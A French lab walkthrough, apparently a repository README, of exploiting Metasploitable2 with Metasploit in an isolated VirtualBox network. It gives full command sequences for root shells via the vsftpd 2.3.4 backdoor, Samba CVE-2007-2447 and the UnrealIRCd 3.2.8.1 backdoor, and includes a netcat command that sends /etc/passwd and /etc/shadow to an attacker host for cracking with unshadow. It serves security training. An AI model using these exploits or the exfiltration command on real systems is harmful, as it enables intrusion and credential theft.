Exploitation de Metasploitable2 avec Metasploit : VSFTPD, Samba et plus encore

Un guide pratique pas à pas de l'exploitation à l'aide du Metasploit Framework — de la configuration de la base de données PostgreSQL et du scan db_nmap, en passant par trois shells root obtenus via vsftpd, Samba et UnrealIRCd, jusqu'à l'exfiltration d'identifiants avec Netcat.

Vue d'ensemble

Ce dépôt documente une campagne Metasploit complète contre Metasploitable2 dans un laboratoire VirtualBox isolé. Sujets abordés :

• Configuration de Metasploit avec un backend PostgreSQL et des espaces de travail
• Exécution de db_nmap pour enregistrer les résultats de scan directement dans la base de données
• Exploitation de la porte dérobée vsftpd 2.3.4 (compromission de la chaîne d'approvisionnement)
• Exploitation de Samba CVE-2007-2447 (injection de commande usermap_script)
• Exfiltration de /etc/passwd et /etc/shadow via Netcat et fusion avec unshadow
• Exploitation de la porte dérobée UnrealIRCd 3.2.8.1

Environnement de laboratoire

Réseau : 192.168.1.0/24 — réseau NAT entièrement isolé dans VirtualBox.

Étape 1 — Configuration de Metasploit et scan avec base de données

# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init

# Launch Metasploit
msfconsole

msf6> db_status           # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Deux serveurs FTP trouvés sur Metasploitable2 :

Étape 2 — Exploitation de vsftpd 2.3.4 (porte dérobée)

En juillet 2011, l'archive source de vsftpd 2.3.4 a été compromise — une porte dérobée a été insérée et ouvre un shell root sur le port 6200 lorsque le nom d'utilisateur FTP contient :). CVE : CVE-2011-2523. Diff de code : https://pastebin.com/AetT9sS5

msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor  (rank: excellent)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extraction des mots de passe hachés :

cat /etc/shadow | grep '$1'

Étape 3 — Exploitation de Samba CVE-2007-2447

Les versions Samba 3.0.0–3.0.25rc3 transmettent directement à /bin/sh les méta-caractères du shell contenus dans le champ nom d'utilisateur, via l'option username map script — avant même que l'authentification ait lieu. Metasploitable2 exécute Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# ~7 exploits found

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami          # root
smbd --version  # Version 3.0.20-Debian

Exfiltration de fichiers via Netcat

Onglet 2 — Kali (réception) :

nc -l -p 4567 > passwd.txt

Onglet 1 — Shell de l'exploit (envoi) :

cat /etc/passwd | nc 192.168.1.4 4567

Répétez l'opération pour /etc/shadow, puis fusionnez :

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

Étape 4 — Exploitation d'UnrealIRCd 3.2.8.1 (porte dérobée)

UnrealIRCd 3.2.8.1 a été distribué avec une porte dérobée dans son code source. L'envoi de AB sur le port 6667 amène le serveur à exécuter toute commande suivante en tant que root — aucune authentification n'est requise.

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Options requises :

Aperçu du flux de travail Metasploit

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Erreurs courantes

Points clés à retenir

• vsftpd 2.3.4 et UnrealIRCd 3.2.8.1 étaient tous deux des compromissions de la chaîne d'approvisionnement — des portes dérobées intégrées aux archives de distribution officielles
• CVE-2007-2447 dans Samba se déclenche avant l'authentification — l'application du correctif est la seule mesure d'atténuation
• Netcat ne requiert aucune dépendance et fonctionne pour l'exfiltration de fichiers sur pratiquement tout système Unix
• info avant exploit est une habitude à prendre — cela affiche le CVE, les versions affectées et les options requises

🌐 Restons en contact